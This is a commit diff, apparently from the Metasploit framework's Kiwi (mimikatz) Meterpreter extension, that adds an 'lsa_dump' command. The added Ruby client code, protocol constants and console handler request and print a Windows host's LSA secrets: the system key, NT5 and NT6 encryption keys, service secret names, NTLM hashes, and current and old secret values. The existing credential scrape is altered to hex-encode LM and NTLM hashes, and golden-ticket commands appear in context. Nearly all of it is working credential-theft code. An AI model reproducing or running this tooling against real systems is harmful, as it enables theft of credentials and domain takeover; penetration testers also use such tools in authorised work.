Add lsa secret dumps plus other tweaks

bug/bundler_fix
OJ 2014-03-14 19:50:01 +10:00
parent e0438f570b
commit a9758413c0
3 changed files with 147 additions and 19 deletions

View File

@ -43,6 +43,46 @@ class Kiwi < Extension
])
end
def lsa_dump
request = Packet.create_request('kiwi_lsa_dump_secrets')
response = client.send_request(request)
result = {
:major => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MAJ),
:minor => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MIN),
:compname => response.get_tlv_value(TLV_TYPE_KIWI_LSA_COMPNAME),
:syskey => to_hex_string(response.get_tlv_value(TLV_TYPE_KIWI_LSA_SYSKEY)),
:nt5key => to_hex_string(response.get_tlv_value(TLV_TYPE_KIWI_LSA_NT5KEY)),
:nt6keys => [],
:secrets => []
}
response.each(TLV_TYPE_KIWI_LSA_NT6KEY) do |k|
result[:nt6keys] << {
:id => to_guid(k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYID)),
:value => to_hex_string(k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYVALUE))
}
end
response.each(TLV_TYPE_KIWI_LSA_SECRET) do |s|
r = {
:name => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NAME),
:service => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_SERV),
:ntlm => to_hex_string(s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NTLM)),
:current => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR),
:old => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD)
}
r[:current] ||= to_hex_dump(s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW))
r[:old] ||= to_hex_dump(s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW))
result[:secrets] << r
end
return result
end
def golden_ticket_use(ticket)
request = Packet.create_request('kiwi_golden_ticket_use')
request.add_tlv(TLV_TYPE_KIWI_GOLD_TICKET, ticket, false, true)
@ -73,10 +113,10 @@ class Kiwi < Extension
:username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME),
:domain => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN),
:password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD),
:auth_hi => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_HI),
:auth_lo => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_LO),
:lm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH),
:ntlm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH)
:auth_hi => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_HI),
:auth_lo => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_LO),
:lm => to_hex_string(r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH)),
:ntlm => to_hex_string(r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH))
}
end
@ -110,6 +150,34 @@ class Kiwi < Extension
def kerberos
return scrape_passwords(PWD_ID_SEK_KERBEROS)
end
protected
def to_hex_dump(bytes)
return nil unless bytes
bytes.each_byte.map { |b|
b.to_s(16).rjust(2, '0')
}.join(' ')
end
def to_hex_string(bytes)
return nil unless bytes
bytes.unpack('H*')[0]
end
def to_guid(bytes)
return nil unless bytes
s = bytes.unpack('H*')[0]
parts = [
s[6, 2] + s[4, 2] + s[2, 2] + s[0, 2],
s[10, 2] + s[8, 2],
s[14, 2] + s[12, 2],
s[16, 4],
s[20, 12]
]
"{#{parts.join('-')}}"
end
end
end; end; end; end; end

View File

@ -5,21 +5,41 @@ module Meterpreter
module Extensions
module Kiwi
TLV_TYPE_KIWI_PWD_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
TLV_TYPE_KIWI_PWD_RESULT = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 2)
TLV_TYPE_KIWI_PWD_USERNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
TLV_TYPE_KIWI_PWD_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4)
TLV_TYPE_KIWI_PWD_PASSWORD = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5)
TLV_TYPE_KIWI_PWD_AUTH_HI = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 6)
TLV_TYPE_KIWI_PWD_AUTH_LO = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 7)
TLV_TYPE_KIWI_PWD_LMHASH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8)
TLV_TYPE_KIWI_PWD_NTLMHASH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9)
TLV_TYPE_KIWI_PWD_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
TLV_TYPE_KIWI_PWD_RESULT = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 2)
TLV_TYPE_KIWI_PWD_USERNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
TLV_TYPE_KIWI_PWD_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4)
TLV_TYPE_KIWI_PWD_PASSWORD = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5)
TLV_TYPE_KIWI_PWD_AUTH_HI = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 6)
TLV_TYPE_KIWI_PWD_AUTH_LO = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 7)
TLV_TYPE_KIWI_PWD_LMHASH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8)
TLV_TYPE_KIWI_PWD_NTLMHASH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9)
TLV_TYPE_KIWI_GOLD_USER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10)
TLV_TYPE_KIWI_GOLD_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 11)
TLV_TYPE_KIWI_GOLD_SID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 12)
TLV_TYPE_KIWI_GOLD_TGT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 13)
TLV_TYPE_KIWI_GOLD_TICKET = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 14)
TLV_TYPE_KIWI_GOLD_USER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10)
TLV_TYPE_KIWI_GOLD_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 11)
TLV_TYPE_KIWI_GOLD_SID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 12)
TLV_TYPE_KIWI_GOLD_TGT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 13)
TLV_TYPE_KIWI_GOLD_TICKET = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 14)
TLV_TYPE_KIWI_LSA_VER_MAJ = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 15)
TLV_TYPE_KIWI_LSA_VER_MIN = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 16)
TLV_TYPE_KIWI_LSA_COMPNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 17)
TLV_TYPE_KIWI_LSA_SYSKEY = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 18)
TLV_TYPE_KIWI_LSA_KEYCOUNT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 19)
TLV_TYPE_KIWI_LSA_KEYID = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 20)
TLV_TYPE_KIWI_LSA_KEYIDX = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 21)
TLV_TYPE_KIWI_LSA_KEYVALUE = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 22)
TLV_TYPE_KIWI_LSA_NT6KEY = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 23)
TLV_TYPE_KIWI_LSA_NT5KEY = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 24)
TLV_TYPE_KIWI_LSA_SECRET = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 25)
TLV_TYPE_KIWI_LSA_SECRET_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 26)
TLV_TYPE_KIWI_LSA_SECRET_SERV = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 27)
TLV_TYPE_KIWI_LSA_SECRET_NTLM = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 28)
TLV_TYPE_KIWI_LSA_SECRET_CURR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 29)
TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 30)
TLV_TYPE_KIWI_LSA_SECRET_OLD = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 31)
TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 32)
end
end

View File

@ -45,7 +45,8 @@ class Console::CommandDispatcher::Kiwi
"creds_kerberos" => "Attempt to retrieve Kerberos creds",
"creds_all" => "Attempt to retrieve all credentials",
"golden_ticket_create" => "Attempt to create a golden kerberos ticket",
"golden_ticket_use" => "Attempt to use a golden kerberos ticket"
"golden_ticket_use" => "Attempt to use a golden kerberos ticket",
"lsa_dump" => "Attempt to dump LSA secrets"
}
end
@ -79,6 +80,45 @@ class Console::CommandDispatcher::Kiwi
return true
end
def cmd_lsa_dump(*args)
get_privs
print_status("Dumping LSA secrets")
lsa = client.kiwi.lsa_dump
# the format of this data doesn't really lend itself nicely to
# use within a table so instead we'll dump in a linear fashion
print_line("Policy Subsystem : #{lsa[:major]}.#{lsa[:minor]}") if lsa[:major]
print_line("Domain/Computer : #{lsa[:compname]}") if lsa[:compname]
print_line("System Key : #{lsa[:syskey]}") if lsa[:syskey]
print_line("NT5 Key : #{lsa[:nt5key]}") if lsa[:nt5key]
print_line
print_line("NT6 Key Count : #{lsa[:nt6keys].length}")
if lsa[:nt6keys].length > 0
print_line
lsa[:nt6keys].to_enum.with_index(1) do |k, i|
print_line("#{i.to_s.rjust(2, ' ')}. ID : #{k[:id]}")
print_line("#{i.to_s.rjust(2, ' ')}. Value : #{k[:value]}")
end
end
print_line
print_line("Secret Count : #{lsa[:secrets].length}")
if lsa[:secrets].length > 0
lsa[:secrets].to_enum.with_index(1) do |s, i|
print_line
print_line("#{i.to_s.rjust(2, ' ')}. Name : #{s[:name]}")
print_line("#{i.to_s.rjust(2, ' ')}. Service : #{s[:service]}") if s[:service]
print_line("#{i.to_s.rjust(2, ' ')}. NTLM : #{s[:ntlm]}") if s[:ntlm]
print_line("#{i.to_s.rjust(2, ' ')}. Current : #{s[:current]}") if s[:current]
print_line("#{i.to_s.rjust(2, ' ')}. Old : #{s[:old]}") if s[:old]
end
end
print_line
end
def cmd_golden_ticket_create(*args)
if args.length != 5
print_line("Usage: golden_ticket_create user domain sid tgt ticketpath")